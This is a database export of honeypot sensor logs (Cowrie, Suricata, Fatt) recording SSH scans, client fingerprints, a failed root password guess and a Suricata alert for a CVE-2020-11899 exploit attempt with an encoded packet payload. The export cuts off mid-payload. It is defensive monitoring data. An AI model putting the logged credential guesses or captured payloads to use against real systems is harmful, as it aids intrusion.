35849	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:10:58.994707+03	2021-09-20 15:15:03.80069+03	{"_id": "EgYdA3wBvYTbRNuE118T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:53462 (192.168.176.2:22) [session: 8019f88c84fd]", "session": "8019f88c84fd", "@version": "1", "protocol": "ssh", "src_port": 53462, "dest_port": 22, "timestamp": "2021-09-20T12:10:58.994707Z", "@timestamp": "2021-09-20T12:10:58.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IN
35850	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:10:59.307477+03	2021-09-20 15:15:03.80169+03	{"_id": "FQYdA3wBvYTbRNuE118U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:10:59.307477Z", "@timestamp": "2021-09-20T12:10:59.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IN
35851	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:10:59.588204+03	2021-09-20 15:15:03.80369+03	{"_id": "GQYdA3wBvYTbRNuE2F80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 501645642554802, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49338, "dest_port": 22, "timestamp": "2021-09-20T12:10:59.588204Z", "@timestamp": "2021-09-20T12:10:59.588Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35852	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:58.999886+03	2021-09-20 15:15:03.804691+03	{"_id": "JQYdA3wBvYTbRNuE2V94", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53462, "timestamp": "2021-09-20T12:10:58.999886", "@timestamp": "2021-09-20T12:10:58.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35853	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:10:59.797027+03	2021-09-20 15:15:03.80569+03	{"_id": "KwYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/995511] failed", "session": "1e3a6334d3a6", "@version": "1", "password": "995511", "username": "root", "timestamp": "2021-09-20T12:10:59.797027Z", "@timestamp": "2021-09-20T12:10:59.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35854	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:00.600161+03	2021-09-20 15:15:03.806691+03	{"_id": "LgYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5231f56350cd", "@version": "1", "timestamp": "2021-09-20T12:11:00.600161Z", "@timestamp": "2021-09-20T12:11:00.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35855	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:10:55.982568+03	2021-09-20 15:15:03.80869+03	{"_id": "8AYdA3wBvYTbRNuEy15X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:38232 (192.168.176.2:22) [session: 33a2acbab033]", "session": "33a2acbab033", "@version": "1", "protocol": "ssh", "src_port": 38232, "dest_port": 22, "timestamp": "2021-09-20T12:10:55.982568Z", "@timestamp": "2021-09-20T12:10:55.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
35856	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:10:56.027184+03	2021-09-20 15:15:03.809691+03	{"_id": "9QYdA3wBvYTbRNuEzF55", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 455128998958437, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38232, "dest_port": 22, "timestamp": "2021-09-20T12:10:56.027184Z", "@timestamp": "2021-09-20T12:10:56.027Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
35857	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:10:56.986928+03	2021-09-20 15:15:03.81069+03	{"_id": "9wYdA3wBvYTbRNuEzV51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 31327, "dest_port": 22, "timestamp": "2021-09-20T12:10:56.986928", "@timestamp": "2021-09-20T12:10:56.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35858	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:10:56.700866+03	2021-09-20 15:15:03.811691+03	{"_id": "-AYdA3wBvYTbRNuEz15B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:31327 (192.168.176.2:22) [session: 1e3a6334d3a6]", "session": "1e3a6334d3a6", "@version": "1", "protocol": "ssh", "src_port": 31327, "dest_port": 22, "timestamp": "2021-09-20T12:10:56.700866Z", "@timestamp": "2021-09-20T12:10:56.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35859	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 15:10:57.684911+03	2021-09-20 15:15:03.813691+03	{"_id": "_gYdA3wBvYTbRNuE0F5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:57.684911+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755895858031, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv9Z1KsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:10:57.684911Z", "@timestamp": "2021-09-20T12:10:57.684Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
35860	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:10:56.986786+03	2021-09-20 15:15:03.814691+03	{"_id": "_QYdA3wBvYTbRNuE0F5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1430174621954793, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 31327, "dest_port": 22, "timestamp": "2021-09-20T12:10:56.986786Z", "@timestamp": "2021-09-20T12:10:56.986Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35861	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:58.301217+03	2021-09-20 15:15:03.816691+03	{"_id": "CAYdA3wBvYTbRNuE018r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2320 (192.168.176.2:22) [session: 73b93f327549]", "session": "73b93f327549", "@version": "1", "protocol": "ssh", "src_port": 2320, "dest_port": 22, "timestamp": "2021-09-20T12:10:58.301217Z", "@timestamp": "2021-09-20T12:10:58.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35862	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:10:59.452304+03	2021-09-20 15:15:03.817689+03	{"_id": "EwYdA3wBvYTbRNuE118U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:49338 (192.168.176.2:22) [session: 99a4b4631518]", "session": "99a4b4631518", "@version": "1", "protocol": "ssh", "src_port": 49338, "dest_port": 22, "timestamp": "2021-09-20T12:10:59.452304Z", "@timestamp": "2021-09-20T12:10:59.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35863	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:10:59.455031+03	2021-09-20 15:15:03.81969+03	{"_id": "EQYdA3wBvYTbRNuE118T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "99a4b4631518", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:59.455031Z", "@timestamp": "2021-09-20T12:10:59.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35864	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:10:59.306862+03	2021-09-20 15:15:03.820689+03	{"_id": "GwYdA3wBvYTbRNuE2F80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:58.684729+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 342469859504825, "payload": "AAADzAYU8VNzwQA2Kuz23qqiwNVvLgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNo